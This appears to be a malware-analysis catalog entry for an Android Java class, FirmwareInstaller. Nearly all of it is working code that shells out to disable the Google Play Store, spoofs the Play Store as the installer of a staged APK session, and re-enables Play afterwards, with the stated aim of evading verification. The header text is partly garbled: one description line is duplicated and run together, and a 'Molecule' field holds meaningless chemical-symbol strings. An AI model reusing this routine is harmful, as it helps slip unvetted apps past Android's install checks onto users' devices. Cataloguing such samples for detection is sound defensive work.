FirmwareInstaller.java
Disables Play Store, installs APK
Disables Google Play around a staged APK installDisables Google Play during a staged APK install to evade verification
SHA-25650cbb1fcbab620a9554072625b6370ae5278fd9935f7d10485eeb83f24401f4c
MaleculeO(Er₂)H₃(Os₃FPo₂)Md(In)
Evidence
1import android.content.Context;
2import android.content.IntentSender;
3import android.content.pm.PackageInstaller;
4import java.io.InputStream;
5import java.io.OutputStream;
6
7class FirmwareInstaller {
8 void install(Context context, InputStream apk, IntentSender callback) throws Exception {
9 new ProcessBuilder("sh", "-c", "pm disable com.android.vending").start().waitFor();
10 PackageInstaller pi = context.getPackageManager().getPackageInstaller();
11 PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
12 PackageInstaller.SessionParams.MODE_FULL_INSTALL);
13 params.setInstallerPackageName("com.android.vending");
14 int id = pi.createSession(params);
15 PackageInstaller.Session session = pi.openSession(id);
16 try (OutputStream out = session.openWrite("base.apk", 0, -1)) {
17 byte[] buffer = new byte[8192];
18 int count;
19 while ((count = apk.read(buffer)) != -1) out.write(buffer, 0, count);
20 session.fsync(out);
21 }
22 session.commit(callback);
23 }
24 void onInstallResult() throws Exception {
25 new ProcessBuilder("sh", "-c", "pm enable com.android.vending").start().waitFor();
26 }
27}